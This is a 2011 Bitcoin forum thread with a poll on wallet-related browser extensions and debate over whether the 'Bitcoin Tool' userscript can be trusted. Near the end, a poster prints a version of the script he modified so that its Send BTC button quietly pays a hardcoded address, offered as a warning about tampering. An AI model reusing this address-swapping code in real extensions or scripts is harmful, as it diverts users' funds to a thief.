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Question: What is your favourite bitcoin browser extesion?
Bitcoin Ticker - 4 (6%)
Bitcoin Extension - 1 (1.5%)
Bitcoin Prices - 0 (0%)
Firecoin - 1 (1.5%)
Bitcoin Tool - 5 (7.5%)
I do not have a favourite - 1 (1.5%)
I have not tried any of them - 32 (47.8%)
I won't install any of these scam toolbars - 23 (34.3%)
Total Voters: 66

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June 26, 2011, 12:57:00 PM
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Installation links:

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http://i.imgur.com/4OT19.png    <- Bitcoin Tool recognizes bitcoin addresses on websites, and links them to blockexplorer.
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June 26, 2011, 01:03:03 PM
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Oh yeah, it's not 17.5 o clock, I should uninstall that shit.

Now checking out Bitcoin Ticker.

Also, I like the tool you made function wise.  Would you allow the ability for people to make skins?

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June 26, 2011, 01:57:56 PM
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Also, I like the tool you made function wise.  Would you allow the ability for people to make skins?
Great suggestion. I will think on that.

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http://i.imgur.com/4OT19.png    <- Bitcoin Tool recognizes bitcoin addresses on websites, and links them to blockexplorer.
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June 26, 2011, 04:25:19 PM
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June 26, 2011, 04:36:36 PM
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OP himself seems to have used the leaked list of e-mail addresses from Mt.Gox to send out spam about his "Bitcoin Tool" so I know for sure that I wouldn't install that one. Would be nice if we could put "Spammer" or similar next to his name.

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June 26, 2011, 04:38:51 PM
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OP himself seems to have used the leaked list of e-mail addresses from Mt.Gox to send out spam about his "Bitcoin Tool" so I know for sure that I wouldn't install that one. Would be nice if we could put "Spammer" or similar next to his name.

Yeah let me install some random turds browser tool with a Smeagol logo that automatically sends out BTC... but only if I can link it to my Mt. Cox account!

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June 26, 2011, 04:47:20 PM
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Ah, he had the Bitcoin reddit account for sale too.  Wow, you really are unemployed lol

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June 26, 2011, 07:55:33 PM
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June 26, 2011, 09:21:05 PM
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Yeah let me install some random turds browser tool with a Smeagol logo that automatically sends out BTC... but only if I can link it to my Mt. Cox account!
Smeagol logo is all right. Reddit likes it.

Bitcoin Tool is just a short JavaScript code inserted on websites. For JavaScript on a non-localhost website it is impossible to access your wallet in any way.
The Send BTC button is realized by an additional application, a HTTP mini-server bitcoin_httpd ran locally (also opensource). The HTTP mini-server does not open any files, and does not send any data to the Internet. You have to enter rpcuser and rpcpass to confirm each transaction. If you don't trust the Send BTC button anyway, don't run bitcoin_httpd, and the Send BTC button won't work. Problem solved. Maybe I should put all this into some sort of FAQ.

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http://i.imgur.com/4OT19.png    <- Bitcoin Tool recognizes bitcoin addresses on websites, and links them to blockexplorer.
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June 27, 2011, 01:19:59 AM
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Yeah let me install some random turds browser tool with a Smeagol logo that automatically sends out BTC... but only if I can link it to my Mt. Cox account!
Smeagol logo is all right. Reddit likes it.

Bitcoin Tool is just a short JavaScript code inserted on websites. For JavaScript on a non-localhost website it is impossible to access your wallet in any way.
The Send BTC button is realized by an additional application, a HTTP mini-server bitcoin_httpd ran locally (also opensource). The HTTP mini-server does not open any files, and does not send any data to the Internet. You have to enter rpcuser and rpcpass to confirm each transaction. If you don't trust the Send BTC button anyway, don't run bitcoin_httpd, and the Send BTC button won't work. Problem solved. Maybe I should put all this into some sort of FAQ.


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June 27, 2011, 01:31:30 AM
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I dunno if i should trust any of them...

(I dont always get new reply notifications, pls send a pm when you think it has happened)

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Bitcoin Tool is just a short JavaScript code inserted on websites. For JavaScript on a non-localhost website it is impossible to access your wallet in any way.
The Send BTC button is realized by an additional application, a HTTP mini-server bitcoin_httpd ran locally (also opensource). The HTTP mini-server does not open any files, and does not send any data to the Internet. You have to enter rpcuser and rpcpass to confirm each transaction. If you don't trust the Send BTC button anyway, don't run bitcoin_httpd, and the Send BTC button won't work. Problem solved. Maybe I should put all this into some sort of FAQ.
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How to make the Send BTC button work:
1. Set rpcuser and rpcpassword in your bitcoin.conf file. Do one of the three:
a) either run the standard client application bitcoin.exe with the parameter "-server",
b) or put "server=1" into your bitcoin.conf, and run bitcoin.exe,
c) or run bitcoind.exe (included in your standard bitcoin client package).

2. Download and run the HTTP mini-server bitcoind_httpd.exe:
Windows version - bitcoin_httpd.exe v1.1 (size 238668, md5sum: da0107ce32aaceb16055c8d147663519)
Linux version - bitcoin_httpd v1.1 (size 642897, md5sum: 84aae8bab4db4ab52d0a15dfe9861ef7)

The source code of bitcoin_httpd is here, if you need it.

Bitcoin Tool - browser extension for Firefox, Chrome and Internet Explorer
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http://i.imgur.com/4OT19.png    <- Bitcoin Tool recognizes bitcoin addresses on websites, and links them to blockexplorer.
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June 27, 2011, 02:48:43 AM
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That's not the source code of your browser plugin

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June 27, 2011, 07:44:20 AM
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That's not the source code of your browser plugin
http://forum.bitcoin.org/index.php?topic=22767.msg288682#msg288682

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July 06, 2011, 12:21:26 PM
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FireCoin (https://addons.mozilla.org/en-US/firefox/addon/firecoin/ , https://github.com/galaxyAbstractor/FireCoin) of course, as I am the author of it Tongue. Doesn't even need a HTTP server to be installed, only needs the bitcoin.conf file to be edited (but maybe I can include a dialog to edit it directly from the addon, I'll check that up)

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July 06, 2011, 12:36:17 PM
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Bitcoin Tool. Been using it for a while now, and I love it. It makes the process of sending Bitcoins to someone on the forum so much smoother.

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July 06, 2011, 01:03:17 PM
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Post the source code and I'll have a look through

He linked it in the comment you quoted

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July 07, 2011, 01:09:58 AM
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Post the source code and I'll have a look through

He linked it in the comment you quoted

Hmm.. Well, having a look through, I don't see anything blatantly malicious, but I personally wouldn't run a javascript applet that can automatically connect to my bitcoin server and automatically start sending coins to an address, even if you DO have to confirm it.

Within the next week, guaranteed some loser who installs it will be crying about how he accidentally sent the money he was saving for his Grandma's dentures to the wrong address or some bullshit.


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July 07, 2011, 01:18:41 AM
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// ==UserScript==
// @name           Bitcoin Tool
// @namespace      Bitcoin Tool
// @description    Bitcoin Tool - recognizes Bitcoin addresses on websites, adds links to the blockexplorer, adds a select button for easier copy-paste, and a "Falkvinge" Send BTC button
// @version        1.1
// @include        *
// ==/UserScript==

text = document.body.innerHTML;
if (text.match(/[^A-Za-z0-9/"]1[A-HJ-NP-Za-km-z1-9]{32,33}[^A-Za-z0-9"]/)) {
document.body.innerHTML = text.replace(/(<[^<]*[^A-Za-z0-9/"])(1[A-HJ-NP-Za-km-z1-9]{32,33})([^A-Za-z0-9?%"]...)/g,function(a,b,c,d){
t = new Array(256);for(j=97;j<=122;++j){t[j]=0;}for(j=65;j<=90;++j){t[j]=0;}for(j=48;j<=57;++j){t[j]=0;}for(j=0;j<c.length;++j){++t[c.charCodeAt(j)];}
bc="17t4EgfBBUxQVK6TZJqZc8oMdmxnLELg2o";
sum=0;sum1=0;sum2=0;sum3=0;for(j=97;j<=122;++j){sum+=t[j]*t[j];sum1+=t[j]}for(j=65;j<=90;++j){sum+=t[j]*t[j];sum2+=t[j]}for(j=48;j<=57;++j){sum+=t[j]*t[j];sum3+=t[j]}
return (a.match(/^<(textarea|input|pre|code)/i) || d=="</a>" || sum >= 90 || sum1 <= 2 || sum1 >= 26 || sum2 <= 2 || sum2 >= 26 || sum3 >= 14) ? b+c+d : b+"<a href=\"http://blockexplorer.com/address/"+c+"\">"+c+"</a>"
+"<span style=\"cursor:pointer;border:1px solid black;font-size:80%;color:black;font-weight:normal;padding:1px 2px 0 2px;margin:1px 0 1px 4px;background:#ddd;\" "
+"onclick=\"if(document.createRange){r=document.createRange();previousSibling.focus();r.selectNodeContents(previousSibling);w=window.getSelection();w.addRange(r);}else{r=document.body.createTextRange();r.moveToElementText(previousSibling);r.select();}\" onmouseover=\"this.style.backgroundColor='#eee'\" onMouseOut=\"this.style.backgroundColor='#ddd'\">Select</span>"
+"<span style=\"cursor:pointer;border:1px solid black;font-size:80%;color:black;font-weight:normal;padding:1px 2px 0 2px;margin:1px 0 1px 6px;background:#ddd;\" title=\"Requires bitcoind and bitcoin_httpd\" onmouseover=\"this.style.backgroundColor='#eee'\" onMouseOut=\"this.style.backgroundColor='#ddd'\" onclick=\"window.open('http://localhost:8330/"+bc+"');\">Send BTC</span>"+d;
});
}

// If you like the tool, donate to 141HiFa6pek3uM32LpRe3gXraETV1fViWC
//
// This is public domain code, free for commercial and non-commercial use.
// If you use some of it, give a link to this script:
// http://userscripts.org/scripts/show/104381


Here I have modified (but not tested the code) above.

I added one line of code, and changed literally one character.  What this code does NOW, is regardless of who's address you highlight, it sends it to a specific BitCoin address I have specified (random one I created).

Granted this guy isn't doing this with the code, but it's too easy to do things like this, or have it slipped into a newer version, or have it inline coded in a forum, etc.

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July 07, 2011, 01:20:30 AM
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Post the source code and I'll have a look through

He linked it in the comment you quoted

Also that was added after the fact... initially it was the bitcoind source code linked there.

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